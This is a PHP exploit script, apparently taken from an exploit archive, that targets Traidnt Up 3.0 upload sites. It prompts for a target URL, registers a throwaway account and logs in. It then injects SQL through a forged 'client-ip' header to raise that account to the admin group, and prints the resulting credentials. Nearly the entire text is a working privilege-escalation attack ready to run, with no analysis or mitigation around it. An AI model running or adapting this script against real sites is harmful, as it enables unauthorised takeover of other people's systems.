Traidnt Up version 3.0 - Add Admin Vulnerability

<?php
set_time_limit(0);
error_reporting(0);

echo "
                 _____   _    _   _____   _____  _______
                /  ___| | |  | | /  _  \ /  ___/|__   __|
                | |  _  | |__| | | | | | | |___    | |
                | | | | |  __  | | | | | \___  \   | |
                | |_| | | |  | | | |_| |  ___| |   | |
                \_____/ |_|  |_| \_____/ /_____/   |_|
             ____    _       _____   _____   _____  ___    ___
            |  _ \  | |     /  _  \ /  _  \ |  _  \ \  \  /  /
            | |_) | | |     | | | | | | | | | | |  \ \  \/  /
            |  _ (  | |     | | | | | | | | | | |  |  \    /
            | |_) | | |___  | |_| | | |_| | | |_|  /   |  |
            |____/  |_____| \_____/ \_____/ |_____/    |__|

[*]-----------------------------------------------------------------------[*]
[+] Exploit Title  : Traidnt UP V3.0 Exploit
[+] Exploit Author : G-B
[+] Email          : [email protected]
[*]-----------------------------------------------------------------------[*]

";
$a = true;
while($a){
    echo "[*] Target -> ";
    $target = stdin();
    if(!file_get_contents($target)){
        echo "[+] Invalid Target. Try Again.\n\n";
    }else{
        $a = false;
    }
}

$a = true;
while($a){
    echo "[+] Start Create Account.\n\n";
    $username = 'G22B'.rand(11,99);
    $password = rand(1111111,9999999);
    
    $register = src("$target/register.php",array('name'=>$username,'email'=>'tester'.rand(11,99).'@hotmail.com','password'=>$password));
    if(eregi('<div style="text-align:center;">',$register)){
        $a = false;
    }else{
        echo "[+] Account Creation Error. Try Again ? (Y or N) -> ";
        $yon = stdin();
        echo "\n";
        if('n' == strtolower($yon)){
            exit();
        }
    }
}
echo "[+] Login Using Our New Account.\n\n";
src("$target/login.php?do=login",array('username'=>$username,'password'=>$password));

echo "[+] Start Injection.\n\n";
src("$target/login.php?do=login",'',"127.0.0.1', `group` = '1' WHERE `name` = '$username' # +");

echo "+------------------------------------------+

[+] Target   : $target
[+] Username : $username
[+] Password : $password

+------------------------------------------+";

unlink(getcwd().'/cookies.txt');

function src($url,$post='',$sql=''){
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    if($post){
        curl_setopt($ch,CURLOPT_POST,true);
        curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
    }
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch,CURLOPT_COOKIEFILE,getcwd().'/cookies.txt');
    curl_setopt($ch,CURLOPT_COOKIEJAR,getcwd().'/cookies.txt');
    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
    if($sql){
        curl_setopt($ch,CURLOPT_HTTPHEADER,array("client-ip: $sql"));
    }
    
    $result = curl_exec($ch);
    curl_close($ch);
    
    return $result;
    
}
function stdin(){
    $fp = fopen("php://stdin","r");
    $line = trim(fgets($fp));
    fclose($fp);
    return $line;
}
?>

#  0day.today [2018-01-06]  #